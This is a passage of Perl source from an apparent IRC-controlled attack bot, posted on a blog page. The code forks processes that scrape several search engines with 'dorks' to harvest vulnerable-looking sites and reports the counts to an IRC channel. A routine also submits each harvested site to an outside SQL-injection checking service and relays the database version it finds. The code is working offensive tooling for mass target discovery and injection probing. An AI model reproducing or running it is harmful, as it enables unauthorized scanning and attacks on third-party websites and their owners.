   
    $pids_array[3] = fork();
    if($pids_array[3] == 0)
    {
        @data_links = &msn($dork);
        &respond_to_privmsg($data," 15[ 7BiNG 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
        &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
        exit(0);
    }

    $pids_array[4] = fork();
    if($pids_array[4] == 0)
    {
        @data_links = &ask($dork);
        &respond_to_privmsg($data," 15[ 7ASK.COM 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
        &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
        exit(0);
    }

    $pids_array[5] = fork();
    if($pids_array[5] == 0)
    {
        @data_links = &webcrawler($dork);
        &respond_to_privmsg($data," 15[ 7WEBCRAWLER 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
        &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
        exit(0);
    }
   
    foreach my $pid_one ( @pids_array )
    {
        waitpid($pid_one,0);
    }
   
    @site_finded = &read_all_file_array($tmp_file_name);
    &respond_to_privmsg($data," 15[ 7INFO 15] 12 TOTAL SITES FINDED: ".scalar(@site_finded)." ");
    @site_cleaned = &unique(@site_finded);
    &respond_to_privmsg($data," 15[ 7INFO 15] 12 CLEANED SITES FINDED: ".scalar(@site_cleaned)." ");
    unlink($tmp_file_name);
    return(@site_cleaned);
}

sub canghecmd()
{
    my $n = $_[0];
    push(@botcmd,$n);
}

sub read_all_file_array()
{
    my $file = $_[0];
    my @ret  = ();

    open(FILE,'<',$file);
    while($a = <FILE>)
    {
        $a =~ s/[\r\n]//g;
        push(@ret,$a);
    }
    close(FILE);
   
    return(@ret);
}

sub write_to_file_array()
{
    my ($file,$data,$scal) = @_;
    for($i = 0; $i < $scal; $i++)
    {
        &write_to_file($file,$data->[$i]);
    }
}

sub write_to_file()
{
    my($file,$data) = @_;
    open(FILE,'>>',$file);
    print FILE $data . "\n";
    close(FILE);
}

sub google()
{
    my $dork    = &urlencode($_[0]);
    my $html    = "";
    my @results = ();
    my @unique_links = ();
   
    for($i = 0; $i < 300; $i += 100)
    {
        $html .= &http_request("http://www.google.it/search?q=".$dork."&hl=it&pwst=1&start=".$i."&num=100&sa=N");
    }
   
    while($html =~ m/<li class=g><h3 class=r><a href=\"http:\/\/(.+?)\" class=l/g)
    {
        my @tmp_link = &get_all_host($1);
        push(@results,@tmp_link);
    }
   
    @unique_links = &unique(@results);

    return(@unique_links);
}

sub altavista()
{
    my $dork    = &urlencode($_[0]);
    my $html    = "";
    my @results = ();
    my @unique_links = ();
   
    for($i = 0; $i < 1000; $i += 10)
    {
        $html .= &http_request("http://www.altavista.com/web/results?itag=ody&kgs=0&kls=0&q=".$dork."&stq=".$i);
    }
   
    while($html =~ m/<span class=ngrn>(.+?) <\/span>/g)
    {
        my @tmp_link = &get_all_host($1);
        push(@results,@tmp_link);
    }
   
    @unique_links = &unique(@results);

    return(@unique_links);
}

sub yahoo()
{
    my $dork    = &urlencode($_[0]);
    my $html    = "";
    my @results = ();
    my @unique_links = ();
   
    for($i = 0; $i < 1000; $i += 100)
    {
        $html .= &http_request("http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=SiteSearch&query=".$dork."&results=100&start=".$i);
    }
   
    while($html =~ m/<Url>http:\/\/(.+?)\<\/Url>/g)
    {
        my $link = $1;
        if($link !~ /yahoo/)
        {
            my @tmp_link = &get_all_host($link);
            push(@results,@tmp_link);
        }
    }
   
    @unique_links = &unique(@results);

    return(@unique_links);
}

sub msn()
{
    my $dork    = &urlencode($_[0]);
    my $html    = "";
    my @results = ();
    my @unique_links = ();
   
    for($i = 0; $i < 1000; $i += 10)
    {
        $html .= &http_request("http://www.bing.com/search?q=".$dork."&first=".$i."&FORM=PERE");
    }
   
    while($html =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g)
    {
        my @tmp_link = &get_all_host($1);
        push(@results,@tmp_link);
    }
   
    @unique_links = &unique(@results);

    return(@unique_links);
}

sub ask()
{
    my $dork    = &urlencode($_[0]);
    my $html    = "";
    my @results = ();
    my @unique_links = ();
   
    for($i = 0; $i < 9; $i += 1)
    {               
        $html .= &http_request("http://it.ask.com/web?q=".$dork."&o=312&l=dir&qsrc=0&dm=all&page=".$i);
    }
   
    while($html =~ m/class=\"L4\" href=\"(.+?)\" onmousedown/g)
    {
        my @tmp_link = &get_all_host($1);
        push(@results,@tmp_link);
    }
   
    @unique_links = &unique(@results);

    return(@unique_links);
}


sub webcrawler()
{
    my $dork    = &urlencode($_[0]);
    my $html    = "";
    my @results = ();
    my @unique_links = ();
   
    for($i = 0; $i < 100; $i += 10)
    {               
        $html .= &http_request("http://www.webcrawler.com/webcrawler/ws/results/Web/".$dork."/3/0/0/Relevance/zoom=off/qi=".$i."/qk=20/bepersistence=true/_iceUrlFlag=7?_IceUrl=true");
    }
   
    while($html =~ m/target=\"_blank\">(.+?)<\/a>/g)
    {
        my @tmp_link = &get_all_host($1);
        push(@results,@tmp_link);
    }
   
    @unique_links = &unique(@results);

    return(@unique_links);
}

sub racchiudi
{
chomp($website);
chop($website);
my $website = shift;
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();

  $agent->get("http://nubiescript.com/demo/sqlinject/?mysql=1&vuln=1&link=$website");
   $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  $agent->submit();
print "ecco: $website--\n";
if ($agent->content() =~/Version\: \<font color\=red\>(.*?)<\/font>/) {
                &respond_to_privmsg(\%msg," 15[ 7SERViCES 15] 12 Version: ".$1." ");
print "versione ".$1." ";
}else{
$irc_socket->write("PRIVMSG ".$chans[1].": Impossibile cliccare su $website \r\n");
}
}



MKRdezign

Formulir Kontak

Nama

Email *

Pesan *

Diberdayakan oleh Blogger.
Javascript DisablePlease Enable Javascript To See All Widget